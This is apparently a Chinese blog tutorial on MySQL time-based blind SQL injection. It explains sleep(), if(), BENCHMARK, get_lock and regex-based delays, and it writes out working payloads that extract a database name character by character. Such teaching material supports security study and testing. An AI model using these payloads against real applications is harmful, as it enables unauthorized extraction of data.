MySQL延时注入


个人理解:

​ 延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据

应用场景:

​ 延时注入的应用场景是,在我们输入and 1或者and 0的时候,页面的返回无变化,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入

相关函数


延时注入会用到布尔盲注的所有函数,包括:length()、substr()、ascii()函数

if()函数:

  • if()函数,顾名思义,这个一个条件判断函数,所以

  • if()函数有三个参数,其用法为if(a,b,c)

    • 第一个参数a:判断语句,返回结果为真假

    • 第二个参数b:如果前面的判断返回为真,则执行b

    • 第三个参数c:如果前面的判断返回为假,则执行c

  • 实例:select if(1=1,1,2)select if(1=2,1,2),如下图

img

sleep()函数:

通过在语句中添加一个sleep(n)函数,强制让语句停留n秒钟

实例:select 1 sleep(5),如下图

img

注入实现


​ 延时注入用到的函数length()、substr()、ascii()、if()和sleep()函数。

​ 这里直接用数据库阐述原理,在实际中,如下面的例子注入点为id=1,我们已经无法使用union来直接查询并且正确页面和错误页面一致,我们无法区分。此处我们需要用到关键字and,我们知道只有and前后的条件都为真的时候,数据库才会输出结果。

判断数据库名长度:

​ 首先我们来判断一下数据库的是几个字符,用到length()、if()、sleep()函数,此处选取的数据库名称为test,如下图所示当判断条件为等于4时,输出为Empty并沉睡五秒,当判断条件不等于4时,输出了我们查询的数据,这是因为如果不为4,if函数返回后面的值1,and 1为真,所以数据库名的字符个数为4。

实例:

select user from test where id=1 and if((length(database())=4),sleep(5),1),其中(database())为子查询,需要加括号,如下图

img

猜解数据库名:

​ 我们已经知道了数据库名是四个字符,接下来我们可以使用substr()函数对数据库名的字符一个个截取。在通过ascii()函数判断字符的ascii码值,第一个字符的ascii码值为116,第二个为101,同养的步骤,第三个为115,第四个为116,然后和ascii码表比对,发现数据库名为test

实例:

select user from test where id=1 and if((ascii(substr(database(),1,1))=116),sleep(5),1),如下图

img

其他步骤:

其余步骤与布尔盲注一致,在现在的语句基础上替换database()子查询即可,布尔盲注见上一篇文章

知识扩展


MySQL中除了sleep()函数外,其他的可用于时间盲注的函数或者方法

BENCHMARK()函数

语法为:

  1. BENCHMARK(count,expr)
  2. BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。

其具体实践在另一篇,非常规注入文章中有

笛卡尔积

heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算,

终于找到了这个MySQL中的方式,此方式与oracle中的查询all_object方式类似,详情转oracle注入文章

下面借用一下网路图,如下

img此图来源于网络,多谢大哥

get_lock()函数

加锁函数get_lock(),语法为

GET_LOCK(key, timeout)

解锁函数release_lock(),语法为

RELEASE_LOCK(key)

GET_LOCK有两个参数,一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s),即获取锁失败后等待多久回滚事务。

简单来说,在一个客户端加锁之后想在另外一个客户端对同样的key加锁,需要等待这个timeout,实例操作顺序如下

img

实际例子,如下图

img

RLIKE®EXP正则匹配

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

正则语法:
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'

repeat(str,times) 复制字符串times次

payload

1
2
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

测试语句

1
SELECT * FROM  file_transfer_address where system_address = '' or if(LENGTH(database())=5,(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1) and '1'

image-20210628164645222

添加正则可以增加匹配的时间

image-20210628164745849